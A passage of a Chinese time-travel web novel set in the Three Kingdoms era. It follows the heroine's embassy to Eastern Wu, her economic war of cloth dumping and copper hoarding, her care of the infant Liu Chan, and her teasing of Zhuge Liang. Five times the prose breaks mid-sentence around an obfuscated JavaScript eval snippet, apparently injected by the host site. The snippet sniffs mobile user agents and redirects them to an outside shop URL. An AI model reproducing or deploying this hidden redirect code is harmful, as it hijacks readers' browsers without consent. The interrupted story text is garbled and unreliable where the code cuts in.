蒯越直接唱起来了:东去波涛阔,渔火映兰桡。吹笛人如玉,吴音醉红绡。美人罗衣舞,轻舒弄折腰。曲终君莫问,心向碧波遥…… 蒯越作为长辈都唱了,刘封直接配上剑舞给老头助兴。 赵云和梁爽安安静静笑着看他们闹。 大事办完,众人稍稍放松些是应当的。只是这二人谨慎,不敢松懈,因此仍对周围保持着警觉。 梁爽回到驿馆,刚叫开门,门口侍卫上前嘀咕,一边嘀咕还一边防范着附近的东吴卫兵:“军师,有一个人……您进去看就知道了,飞檐走壁翻墙进来的,说要见您。” 梁爽皱眉:“你们就不怕是曹操派来刺杀本使的?” 侍卫捂着嘴在她耳边道:“您放心,您见了就知道了。” 赵云关切地望过来。梁爽跟赵云交换了一个眼神,小赵将军的手便不经意间按在了剑首。有赵云这般靠谱,梁爽稍稍心安。 梁爽一步迈进正房,便见烛光映照下,一道纤细而挺拔的身影端坐堂中,正静静等着她。 竟是孙尚香。 梁爽微微一愣,正琢磨着该如何开口,赵云与其它几人也走了进来,一见孙尚香,皆是微怔。赵云眼神复杂,似是有些意外,更多的却是无奈。 唱的不唱了,跳舞的也不跳了,屋内一时静得厉害,连空气中都弥漫着未出口的意味深长。 蒯越、糜芳、刘封等人的酒登时醒了一半,都想去看赵云的神情,但又不好意思明目张胆地看,纷纷低头、抬头、偏头看向别处,然后用眼的余光使劲偷瞟。 梁爽清了清嗓子,试探道:“孙小姐,夜深了,您来此是……” “黄夫人。”孙尚香径直走向她。她的语气很平静,眼神也极为认真。 梁爽被这突如其来的郑重吓了一跳——等等,不对,这气氛……她竟然不是在使团即将离开江东之际来找赵云诉衷肠的? 赵云也有些茫然,但怕孙尚香有任何令军师为难的言行,便稍稍向前一步,问道:“孙小姐此来,所为何事?” 谁料孙尚香根本没理他,甚至连余光都未曾分给他半分,只是直视梁爽,开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486275|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 口便道:“你带我走。” 梁爽:“……啊?” 赵云:“……” 吃瓜众人:“???” 梁爽满脸迷茫,甚至怀疑自己刚才是不是耳鸣,没听清楚。带走?孙尚香要她把她带走? 赵云迟疑了一下,语气微微严肃:“小姐可是有何难处?” 孙尚香终于瞥了赵云一眼,眉头微皱,显然没耐心解释,随即转回目光,看向梁爽,一字一句道:“夫人可否与我单独谈一谈?” 梁爽欲答应,赵云不放心,想阻拦。梁爽道:“孙小姐是特意一个人来,不会伤害我。” 入卧房,闭门,梁爽请孙尚香坐,孙尚香压低声音道:“我哥哥和周瑜他们总想用我联姻,这次是赵将军,下次可能就是别人。我不想再被当作筹码了,你带我走。” 梁爽轻叹一声,望着孙尚香,语气郑重道:“孙小姐,若你随我去了荆州,你兄长必会认定是我等挟持你为人质。如此一来,众人好不容易促成的结盟顷刻间便会化为泡影,甚至可能引发两国兵戎相见。到那时,荆吴交战,生灵涂炭,孙小姐深明大义,难道甘愿成这场祸事的起源?” 孙尚香面露不忍,蹙眉道:“夫人足智多谋,可有良策救我?听闻曹操遣使者至——” “什、什么?”一句话将梁爽震惊得五雷轰顶,后面的话一个字也听不见了。 盟约刚缔结,曹操的使臣就到了。 曹操使臣到了也就罢了,她黄楚还没走,孙权和周瑜就已经盘算着跟曹操联姻了? 58. 出使东吴(二十一) “你不仁,休怪我不义……”梁爽心道:“敢在我梁爽面前当二五仔,孙十万你真是活腻歪了……” 她定了定神,暂时安抚孙尚香道:“孙小姐放心,我梁——黄楚别的事不敢担保,可以担保江东与曹操的联姻一定不成。只要你兄长还在犹豫是否将你与曹操之子联姻,就不会将你许配他人,所以几个月内,小姐一定无虞。趁吴侯尚未发觉小姐来此,请小姐速速回去罢。” 送走孙尚香,梁爽将刚刚得知的情报告诉众人,众人皆是义愤填膺:“今晚白欢喜一场!江东人,脚踩两只船!” 刘封最先回过味来:“也就是说,今晚宴会开始之前,孙黄毛就已经见过曹操老贼的使臣了?” 众人越发愤慨。 梁爽也恨得咬牙。一面派探子潜行打探,一面安抚众人冷静,商量对策。 过了一会儿,糜芳撒出去的探子回禀:“曹操使者为程昱,同行的还有曹操之子曹彰——虽然没有表明身份。孙权与周瑜已接见曹使,确有商议联姻之事,似乎……曹操亡我之心不死,亦有发兵作战计划,只是吴侯尚未表态。” “曹操和咱们也算想到一块儿去了,都知道拉拢江东,都没把刘璋、张鲁等人看在眼里。”梁爽冷笑一声,眼底浮现一抹怒火:“孙仲谋他要左右逢源,这东吴小霸王滑不留手哇!既不明说要背盟,又不轻易放弃曹操递来的橄榄枝——” “军师,什么枝?” “没什么,一时口误而已。”梁爽道:“某有一计,早存在心中,只是不知到底可行与否,请两位先生为我参谋。” 蒯越和糜芳听完,连连点头,说确实可行。但蒯越问道:“军师,那吴侯与曹操私下勾结……军师的意思,此事,咱们就装作不知道?” “正是。君子报仇,十年不晚。他悄悄给咱们一个猝不及防,咱们也悄悄还他一个猝不及防。盟约已立,孙权想脚踩两条船,那就让他去踩。我且装作什么都不知道,回荆州好好做我的商人。东吴不是想借商贸繁荣江东吗?那我便让江东的财富,统统流进我荆州的口袋。我让他想打仗都没钱打!” 翌日清晨,江风轻拂,甘露堂前,荆襄使团整装待发。梁爽一身素雅官服,神色从容,仿佛昨夜未曾听闻任何风声,而孙权亦笑意温和,亲自率众前来送行,仿佛未曾暗中谋划联姻曹魏之事。 “贵使此番回荆州,舟车劳顿,孙某备下些许土产,聊表心意。”孙权抬手一挥,便有侍从呈上锦盒,内里盛放着东吴的香料、茶叶等珍贵之物。 梁爽一见,立刻含笑接过,福身道:“吴侯太客气了,这等贵物,回去我定要好生呈予主公,让主公知晓吴侯待我使团如此深情厚谊。” 蒯越在旁打量着自家军师,只见她面上丝毫破绽都无,不免心中赞赏连连:虽然年轻,虽然偶有急躁与失误,但处事已经算十分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486276|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老成了。 孙权设宴相送,席间推杯换盏,宾主尽欢,仿佛昨日之事未曾存在。 周瑜举杯笑道:“夫人一计妙策,使吴荆商贸共荣,实乃两国之幸。” 梁爽笑,端起酒杯:“大都督过誉了,吴地商贾远胜荆州,我等不过是学着沾些光罢了。” 张昭哈哈一笑,似是不经意道:“若贵使觉得吴地繁华,不妨久住些时日,兴许还能与江东再多促成几桩好事。” 梁爽暗自冷哼,知道张昭在试探自己态度,便轻描淡写道:“黄某倒是想多留些日子,只是两家结盟,事关重大,主公在襄阳等着黄某回禀,一刻不敢耽搁。” 孙权见她滴水不漏,微微一笑,举杯道:“贵使此去,愿江风顺遂,吴荆同心。” 梁爽心里啐了他无数口,笑着缓缓举杯:“吴侯所言极是,愿两地情谊长存。” 两人对饮,杯盏相碰,清脆悦耳,仿佛真是盟约已定、情谊深厚,然而杯底暗流涌动,彼此心中各怀算计。 宴罢,吴军列阵相送,梁爽缓步登船,转身朝孙权一揖:“吴侯,后会有期。” 孙权负手而立,含笑颔首:“贵使,一路顺风。” 江风吹拂,船帆鼓起,梁爽立于甲板,回望江东都城,眸光微沉,心中暗叫:“孙仲谋你等着……我回去便让你捡了芝麻丢了西瓜……” 江水悠悠,新的棋局,已然展开。 59. 贸易战(一) 梁爽返程先至江夏,接关平、关银屏兄妹,再一同经荆州返回襄阳。 离开荆州时梁爽给关羽留了个锦囊,嘱咐关羽等一天之后再拆。 关羽看看锦囊,显然如刘备一样对凡是来自军师的锦囊都有一二分防备与抗拒,但还是点点头收下了。 临近襄阳,梁爽让关平先送妹妹回家,自己先与蒯先生、糜将军等人面见主公。 又特意嘱咐关平道:“若路过我家,万勿告诉我家人我回来了。只说我留在了江东。”又拿了一个锦囊交给银屏:“你便照这锦囊里说的做。” 至襄阳,刘备听说使团回城,早在城外等候。见到梁爽等人,一一握手慰劳。 看见人堆里的小银屏,刘备愣了愣,看向梁爽,梁爽还他一个欲说还休的神色,刘备会意,点点头,笑着给了银屏一个嗔怪的神色,又瞪了关平一眼。 关平被他瞪得连忙低头以示认错,银屏则知道大伯宠她,虽然也低下头,但仍撒娇似地嘻嘻笑着。 梁爽道:“诸事繁多,还需尽快向主公汇报。” 刘备连忙将梁爽往城里让:“军师请。备亦有好消息待要告诉军师。”请她上马车。 入府,登堂,屏退侍从,又召来傅巽、简雍、糜竺等人。 “军师,先前听得禀报,说盟约已成,细节如何?” 梁爽取出盟约绢本,奉与刘备:“禀主公,盟约已定,江东允诺通商互市,并共建鹦鹉洲船厂,与行前推演预料,几乎相同。但可以断定,东吴一定会拖延船厂工期。” 刘备微微颔首,正欲发问,傅巽已忍不住道:“孙仲谋狡诈如狐,莫不是表面签盟,暗地里又玩什么花样?” “傅先生果然熟知江东之人。”梁爽道:“主公,我等启程回来前一日,探得消息,曹操遣使程昱秘密携其子曹彰至建业,已面见孙权、周瑜,且孙、周二人有联姻之念。另有两事需禀报主公:此前孙权等人欲撮合赵将军与其妹孙尚香联姻,黄某不敢轻易答允。后又欲将关将军之女许配周瑜之子,黄某不愿关小姐留在东吴做人质,亦不愿关将军与主公为难,因此回绝。” 刘备原本正阅读盟约文字,听得此言,怒道:“孙权小儿,反复无常,欺我耶?” 蒯越在旁劝他消气:“主公莫急,军师已有对策。” “军师有何妙计?” 梁爽问:“主公先前说有好消息,不知是何好消息?” 刘备道:“军师先前命糜竺寻能工巧匠改造纺纱机,已改造成功。不但以水车驱动,节省人力,而且匠人巧设机关,纺纱机同时可妨十股纱。” 梁爽大喜:“妙!有此相助,大胜东吴,便在旦夕间了!”向糜竺道:“不知那匠人是否懂得如何将织布机也改成水车驱动?” 糜竺笑道:“军师真是神了,那匠人造出水车纺纱机后曾与我说,织布机亦可改造,如今已经造出九成,不日将出货,到时请军师来一观。” 梁爽欣喜笑道:“好极!还请将军安排,造水车纺纱机几十台,再造织布机几十台,建成一厂,雇佣百姓来纺纱织布。纱与布都不在荆襄售卖,等盟约正式落实,统统运往江东去卖。既然水力驱动,用人少,成本压低,不妨售卖价格也随之定得低些——低到江东人都觉得如果不买咱们的货物就亏了。” 这叫倾销。 晚清时西方帝国主义就是这么搞垮中国经济民生的。 现在梁爽在汉末,把孙权当洋鬼子打。 刘备听罢,沉吟片刻,眼底浮现几分赞许之色:“军师之策,当真深远。一手以物资制衡东吴,令其依赖我方货源,便可扼其咽喉;一手则赚来大笔钱财,掏空江东人的钱袋。” 傅巽亦点头道:“商道若通,荆州富庶更胜往昔。待粮仓充盈、兵甲精锐,再谈讨贼之策,岂不更稳?” 梁爽补充道:“还需安排商贾前往江东,稳固销路,令东吴民间对我方布匹习 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486277|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以为常,直至离不开为止。” 刘备闻言,握拳轻叩案几,正色道:“善!糜竺速去安排此事,务必挑选可靠工匠,便将纺织机厂设于江夏,便于货物水运入吴。” 糜芳笑道:“主公不急,军师还有更狠的招数呢。” 梁爽深知江东经济体系中铜钱的关键地位。荆州盛产铜矿,而江东流通的货币全赖铜铸。若能操纵铜的供给,便可撼动江东的经济根基。 梁爽道:“请主公秘密下令荆州铜矿暂时封存一部,禁止运往江东;荆州商人赴江东做生意时,以物易物,不许带铜钱去。同时,请糜家二位将军派人暗渡江东,四处收购江东市场上流通的铜钱。” 刘备听得有些云里雾里,不知她在铜上为何下这么大的功夫。 糜芳道:“军师说,这是要玩弄‘通货紧缩’和‘通货膨胀’。” 刘备越发听不懂了:“说人话。” 梁爽道:“主公,可曾留意市集上米价涨跌?” 刘备点头:“备家境贫寒,自然见过。岁岁收成不同,米贵米贱皆有变化。” 梁爽笑道:“这与铜钱之事异曲同工。市面上米粮多了,买米的人不急,卖米的人反而要降价,才能卖出去,米价便贱了。若是米粮少,买米的人着急,谁愿降价?于是米价便贵了。” 刘备恍然:“如此说来,铜钱也有此理?” 梁爽点头:“正是如此。铜矿出得多,铜钱便多,铜钱多了,市面上值钱的东西不变,那铜钱的价值便会跌。反之,铜矿少了,铜钱也少,人人都争着要,便更值钱。到时候咱们手里囤了大把的铜钱……” 刘备沉吟片刻,忽然目光一亮:“军师是说,我们既能囤铜,使东吴缺钱,也能趁他们缺钱时低价收购他们的物资?” 梁爽拱手道:“主公英明!” 刘备大笑,拊掌道:“军师此计,真乃高明!借商贸牵制东吴,不费一兵一卒,胜似雄兵百万。” 60. 军师谈恋爱路子有点野(四) 同刘备那边细细交代过,梁爽道:“在下先前曾许诺帮二位夫人教育小公子,如今盟约初定、曹操尚未兴兵,难得空闲,若主公方便,在下便来主公府上蹭吃蹭住几日如何。” 刘备笑道:“求之不得!只是孔明先生那边?” 梁爽道:“在下已嘱咐过小关将军和银屏小姐传话回家中了。嬷嬷与书童照顾用心,一向又有主公时常派人问候,在下很放心,为主公效劳,毫无后顾之忧。” 黄楚确实让关平和银屏帮忙带话了。 带的却是“夫人留在江夏了”的话。 汪嬷嬷李嬷嬷和小高洋听完都愣了。 诸葛亮在房间里听见外面议论,也一时脑筋没转过弯来:“阿楚留在江夏做什么?盟约不是都已经谈成了么?江夏能有什么事,需要她专门坐镇?江夏到底有谁在啊?” 小高洋与师父心有灵犀,替孔明问了:“敢问小公子,夫人留驻江夏,不知是何故?” 关平道:“军情机密,怎可泄露。” 高洋便没追问。 诸葛亮更疑惑了:军情?什么军情?曹操卷土重来了?孙权随时偷袭?阿楚要安排主动进攻江东? 以前阿楚每次回家都把一天的大事小情告诉他,他对局势有全盘的了解。现在阿楚不在,只靠嬷嬷们八卦回的那点零碎消息,他两眼一抹黑。 汪嬷嬷记挂黄楚,问道:“夫人可曾说,什么时候回来?” 关平道:“军情机密,怎可泄露。” 李嬷嬷道:“夫人若要长住,衣食住行可有需要我们托人送过去的?” 关平道:“军情机密,怎可泄露。” 汪嬷嬷道:“若家中有事需要联络夫人,该如何联络?” 关平道:“可以托我或是舍妹——但军师特意嘱咐了,她未归家之事,还请嬷嬷们和高小公子不要对外人透露。”既然不能向外人透露,便也不能向外人打探。梁爽这一手安排,算是把孔明的信息渠道彻底堵死了。 高洋瘪着嘴不高兴:“你们不是外人?” 被汪嬷嬷兜头打了一下:“不许无礼。” 等关家兄妹走了,三人一窝蜂扎进孔明卧房:“先生,怎么办?” 诸葛亮一时摸不清头绪,便道:“且等一等。阿楚文武兼备,相信足以自保。相信主公不会让阿楚有事。” 汪嬷嬷:“夫人的武艺……似乎忘光了。” 虽然诸葛亮面上仍镇定,但另外三人眼睁睁看着他白皙的额角冒出了颗颗冷汗。 刘备府邸。 糜夫人和甘夫人为梁爽接风洗尘,备下了大屋子、大浴盆、大桌美味佳肴。 梁爽舒舒服服洗了澡,换了衣裳,饱餐一顿,打起精神来看刘禅。 刘禅刚刚满周岁,会迈小步,刚会叫人,但还不会说完整的句子。 梁爽抱着小胖团子捉弄,捏他小肥脸,小胖团子任他摆布,毫无抵抗。 梁爽问奶娘:“小公子这是……精神不好?” 王奶娘笑道:“夫人尚未生育,因此不知。小孩儿一天之内睡觉多次,不像大人似地定时就寝。” 梁爽道:“那他晚上不睡怎么办?” 郭奶娘笑叹:“没有办法,只能不睡陪着他。” 梁爽环顾四周,几名奶娘,年纪轻轻约莫二十岁,个个黑眼圈。 梁爽看不下去了。 “这样可不行。”她对奶娘们说:“从今天开始,白天让小公子多活动,少睡觉,到了晚上他自然犯困,睡得踏实。” 问奶娘们:“小公子平日最爱什么?” 答曰:“爱玩,爱吃。” “爱玩什么?爱吃什么?” 答曰:“什么都爱玩,什么都爱吃。” 吃货啊…… “行,明天开始,便用吃的和玩的,引小公子多爬、多走。我与诸位一起。” 奶娘们又熬了一夜,第二日刘禅醒来,黄楚便和奶娘们白天轮流带着刘禅玩,或在前面拿一支糖人儿引着他走路,或拿小木剑逗他抓握,总之不让他一直躺着。 一整天,刘禅玩得特别开心,仿佛不知疲倦。 还没到天黑,小孩就累得睁不开眼,很快便睡熟了。 第二天,奶娘们个个神清气爽,纷纷对梁爽道:“夫人果然有办法。” 梁爽在现代时恐婚恐育。 生孩子太危险,养孩子太贵,教孩子太难。 梁爽的理想状态是,别人养娃,她负责撸。 现在就是她的理想状态。 如果不去想历史上的刘禅发育成了一个怎样平等地气死每个《三国演义》读者的小赤佬的话,眼前这个小娃真的很可爱。 白白软软,非常好捏,榴莲糯米糍似的。 刘禅牙牙学语,已经会喊“爹”“娘”,但除此之外的人话还说不清楚。 梁爽从最简单的词汇教起,她每天抱着刘禅,指着身边的物品,耐心地告诉他:“这是灯,这是书,这是剑。” 起初,刘禅只是听着,偶尔咿咿呀呀地回应。但没过多久,他便开始模仿发音,虽然还不标准,但已经能指着灯喊“灯”,指着剑喊“剑”,越来越像样。 刘禅指着天。 梁爽教他:“天。” 刘禅指着地。 梁爽教他:“地。” 刘禅指着奶娘。 梁爽教他:“奶娘。” 刘禅指着她。 梁爽一瞬间差点将“梁”字脱口而出,却忍住了。 犹豫间,思绪扯远,越想心思越复杂,未免有些卡壳。 好么,小东西考了她一个哲学问题:她是谁?她到底是谁? 梁爽低头看着自己并不白嫩的双手,那双手的掌心指腹满是习武留下的薄茧:这是黄楚的身体。她已经用得很习惯。 至于身份,别人喊她“黄夫人”“黄军师”时,她已经可以本能地做出回应。 但在许多个时刻,她作为“梁爽”的那部分还是会从这具躯壳里奔涌而出。 刚穿越到这汉末的世 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486278|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 界时,她是梁爽,她觉得这场穿越很不真实。 但当她知道自己最初本就是黄楚,是魂魄先去现代周游二十余年再回来,便开始偶尔会对自己作为“梁爽”的那部分感到迷茫。 如果“梁爽”某天全然适应了这个古代的社会,那“梁爽”和“黄楚”之间还有没有区别? 到那时,是否意味着“梁爽”就被“黄楚”给吞没了? 刘禅圆溜溜的大眼睛盯着梁爽看。小小的手指指着她,在等她一个答复。 梁爽喉咙发紧,咽了咽唾沫。 她很想跟这孩子说“梁爽”,但她不想平地惹风波,被人当成妖精或者奸细,便只能说“黄楚”。 她最后纠结来纠结去,抬手指着自己,说道:“人。” 奶娘们的内心:“指你自己的时候你说是‘人’,那刚才小公子指着我们的时候你不说‘人’是几个意思呢……”幸而她们知道黄夫人性情谦和爽快,知道她不是存心的。 梁爽是乖觉人,后知后觉意识到这个问题,尴尬当场,脚趾在绣鞋里暗自抠地。 唯有小娃刘禅望着她笑,指着她,笑得咧开露出白色牙尖尖的粉色牙床:“人!人!” 黄楚尴尬地笑笑。 她万万没想到,由于自己的哲学性回答,导致刘禅在十岁之前给她的称呼,就是“人”。 刘禅虽小,但已经开始展现自己的性格,有时脾气上来了,会哭闹着要东西,若是得不到,就一直哭个没完没了。 梁爽并未急着哄他,而是耐心地等着他停下来,然后温和但坚定地用手势比划着告诉他:“哭是没用的,要想要东西,得学会表达。” 奶娘们开始时不解:“夫人,若是不哄,小公子岂不是要哭个不停?” 梁爽笑道:“他还小,但不是不懂事,只是他要学会,不能用哭闹来达到目的。” 刘禅脑袋瓜聪明,悟性不错,几次下来,便发现哭闹虽然会得到一些抚拍,但得不到任何好处,反而用手指一指,或是学着发音说出想要的东西,大人们就会夸奖他,并递给他。 渐渐地,刘禅的哭闹少了,变得更加安静懂事。 十天过去了。自从梁爽来,奶娘们高兴得很:黄夫人既帮忙解决问题,又承担风险责任,还不居功,功劳都分摊给所有人。 小刘禅得到长进,奶娘们得了赏赐,糜夫人甘夫人得到安心,刘备看到了希望,黄楚得到了撸娃的快乐。 所有人都收获满满的十天。 唯独一无所获的是诸葛亮——如果不计他心中与日俱增的担忧和焦虑。 诸葛亮有些忍不住了。 他想将自己苏醒的消息公之于众,然后亲自去江夏探望阿楚。 但他确实又有继续装病的考量——且这考量皆是为了阿楚。 诸葛亮每天都在坦白和继续装病之间徘徊纠结。 他甚至想过乔装改扮偷偷潜往江夏去看阿楚。 但他最后都忍住了。 直到某天关羽因公事从荆州回来。 61. 军师谈恋爱路子有点野(五) 关羽一回家,他家夫人的嗓门明显飙了上去,隔壁诸葛家听得清清楚楚。 “云长,你回来啦!”王夫人欣喜道。 “嗯。”关羽笑着答应。 王夫人招呼兵丁们将行李放好,让家奴们上茶,自己将官人仔细端详:“呀,脸面又晒黑晒红了,好在没瘦,在荆州过得还惯么?” “惯。”关羽笑着答应。 “你也忒粗心了,银屏那丫头先前偷偷跟着军师从荆州去了江夏,又去了东吴,你都没发现。” “唉。”关羽笑着叹气。 “听说孙权想咱们银屏的好事呢,想为周瑜的儿子求娶咱们银屏,银屏当时就不愿意,好在咱们军师帮着挡下了。” “啊?”关羽惊讶道。 “关云长!”夫人突然恼了。 “咋?”关羽疑惑问道。 “你就是个锯了嘴的葫芦!你自从进了门,总共说了几个字?” 给关羽抬行李的兵士们原本坐在门房喝茶,听见夫人起了高腔,连忙都起身告退。 “唉。”关羽无奈地笑笑。 “关云长,你既然回来跟我没话说,还不如别回来!你回江夏去罢!回江夏跟军师去!至少你回江夏还有点用处!你回来有什么用?” 墙的另一边,诸葛亮、汪嬷嬷、李嬷嬷、小高洋,听见王夫人提起黄楚,全都竖起了耳朵,等着关羽接下来怎么说。个个心里都想着,关羽或许会把黄楚的近况说出来。 没想到关羽哈哈大笑,听动静像是把夫人拦腰抱起,畅快笑道:“关某人想夫人想了不知多少日夜,现在就让夫人看看关某人有何’用处’,管保叫夫人满意。” 随后传来一些夫人的娇嗔和娇吟。 关羽自打回到家门,说的第一句超过一个字的话,竟然是这个。 毫无任何信息量。 “听什么听,去去去……”汪嬷嬷李嬷嬷尴尬地走回自己房里,把小高洋也撵开。 之后的一些动静听得孔明越发郁闷。 别的不说,他诸葛亮二十来岁也正是热血方刚的年纪,先前病着没办法,现在康复了,也想和自己心爱的夫人花前月下你侬我侬。这下可好,夫人下落不明,偏偏他又不能去找,好生折磨。 待要装一场大病把阿楚骗回来,又怕误了阿楚的大事,只得自己苦苦忍耐。 梁爽那边,日子潇洒自在仿若小神仙。 白天,和蒯越、傅巽等几位先生研究与东吴的经济战,向糜芳学习商业运作,视察水力纺纱厂和织布厂。一切运行顺利,甚至超出她的预期。 通过减少铜矿出口、倾销廉价布匹、暗中大规模回收东吴铜钱,东吴市面上的铜钱开始短缺。铜币升值,市场陷入通缩,物价持续走低。一些货品的标价甚至跌至原先的十分之一,交易却更加迟缓,市面弥漫恐慌与观望情绪。 卖货的商家都捂紧了货,生怕今天卖掉明天亏本;买货的百姓也捂紧了钱袋,还想自己手里仅有的几个铜钱再涨涨价,早一天花出去都怕花亏了。 一时间,东吴市面上,几乎什么都买不到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17486279|202025||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 东吴的市场已经被梁爽等人彻底搅乱,偏偏东吴的官员还一头雾水,不知究竟发生何事。只能暂时先用官府储备的铜钱大量购买民间货物,以求缓解铜钱的紧缺。但区区这点手段,如杯水车薪,根本不够解决问题。 民生骤然艰难,孙权生怕曹操的人探出东吴虚实之后发兵来攻,便装病急匆匆将曹操使团打发走了,联姻自然也随之搁置。 这边东吴尚未想出任何对策,梁爽和几位先生们的后招已经在等着。这种以逸待劳的感觉,着实舒爽。 练兵也一切顺利。眼下暂时没有仗打,梁爽效仿北方曹操,令士兵们开展屯田,一边休养,一边生产粮草。这样可以减轻百姓交税供养军队的负担。 刘备军队纪律严明,于百姓秋毫无犯,一同耕种劳作,日久天长相处,军民感情越发深厚。 梁爽与先生们商量完经济民生,也抽空去视察军队。若赵云等几位将军有空,梁爽还请他们来教她武艺。学武最需要好师傅指点,其次需要好的练武搭子。跟着赵云这样耐心细致又武艺超群的将军练,原主黄楚的先天身体底子又很好,梁爽的武艺修行可谓突飞猛进,一日千里。 度过了充实的一天,晚上回了刘备宅,能和刘备那两位美貌善良的夫人聊天唠嗑,还能撸娃。小刘禅懂的东西越来越多,性情也是越发乖巧,教育成果斐然,梁爽很是欣慰。 神仙日子。 梁爽是半点不想回自家。 此间乐,不思诸葛。 终于有天,诸葛先生实在憋不住了。 62. 军师谈恋爱路子有点野(六) 这天傍晚,梁爽从军营回到刘备府邸,陪糜夫人和甘夫人一起撸娃。糜夫人温柔,甘夫人爽朗,都是非常平易近人的性情,梁爽同她们相处十分愉快,二位夫人也喜欢军师说话风趣、见多识广。 两位夫人正听梁爽复盘如何两次火烧博望坡,听得津津有味,外面通报说关将军家的小姐来拜访。糜夫人笑道:“银屏来了?快请进来。”刘关张结义,三家亲如一家,刘备的两位夫人都把关银屏当亲侄女、亲女儿般待。 银屏进来见过礼,便去抱刘禅,笑吟吟道:“刚刚听见军师同两位伯母说兵法,屏儿也想听。” 甘夫人笑道:“不该被你听见的。你娘本就担心你性子太野、爱舞枪弄棒,现在又学兵法,那还了得。” 糜夫人笑道:“她想学,就让她学罢。我看咱们银屏聪明,将来无论做军师,还是做个女将军,都使得。”说得银屏美滋滋。 坐在一起说了一会儿话,银屏要走,冲着梁爽使眼色。于是梁爽笑道:“我送小姐出去,顺便逛逛。” 从刘宅出来,银屏挤眉弄眼笑道:“今天军师家的汪嬷嬷来我们家送梅花蜜饯,说起孔明先生。”梁爽秋末冬初出使东吴,转眼间,已经冬去春来,树上摘下的梅花腌渍蜜饯都已经成品。换言之,与孔明错过了一整个冬天。 “何事呀?”梁爽面上不露,心里怦怦跳。 “汪嬷嬷说孔明先生身体日渐康复,虽然仍不能睁眼,但睡梦里能说梦话了,梦里唤的都是‘阿楚’。” 梁爽脸上一阵燥热。 “军师久未归家,不如随我回去看看罢?”银屏道。 这一问,反倒把梁爽给问清醒了:差点中了孔明的奸计。 那厮明明早就醒了,而且汪嬷嬷他们都是知道的,何来“虽然仍不能睁眼,但睡梦里能说梦话”之说?这分明就是孔明在卖惨示弱装可怜!想要诓她回家看看。 这大骗子! 梁爽虽然被他骗得有点心动,这会儿却不肯轻易中计白白便宜了那厮,于是勾勾手,让银屏凑近些,在她耳边如此这般吩咐。 银屏越听,眉头越皱,最后问了一个“啊?” 梁爽点头。 银屏:“军师,这……不好吧?” “有啥不好的?” “这……这对孔明先生的心脏不好。” “没事,孔明先生扛得住。” 梁爽家的家门大开着,关银屏此后每回从门前走,都会被汪嬷嬷、李嬷嬷、高洋三人中的一个叫住。 银屏按梁爽嘱咐的,约莫过了五六日,银屏被坐在门口晒书的高洋叫住。 高洋问:“银屏小姐,今日可有江夏来的信?我家师母可曾回信? 银屏觉得有点难开口,吞吞吐吐道:“军师……军师她……” 高洋急了:“军师怎么了?” 银屏说:“军师信里没说什么关于诸葛先生的话……倒是说让我来家帮她取一套《鬼谷子》,军师在江夏遇见了‘凤雏’庞士元先生,相谈甚是投机,欲与庞先生交流此书心得。” 高洋被这信息轰得脑袋嗡嗡响,问道:“我家师母过目成诵,《鬼谷子》当烂熟在胸,怎么还需要取书?” 他这一问被梁爽算到了,银屏按梁爽事先教的说辞答道:“军师说,家里那套《鬼谷子》,夫人有亲笔批注在上头,欲赠与庞先生留念。” 高洋一听,说句:“劳烦小姐等几日,我仔细找找看。”便忙不迭奔回自家内院,去告知孔明。 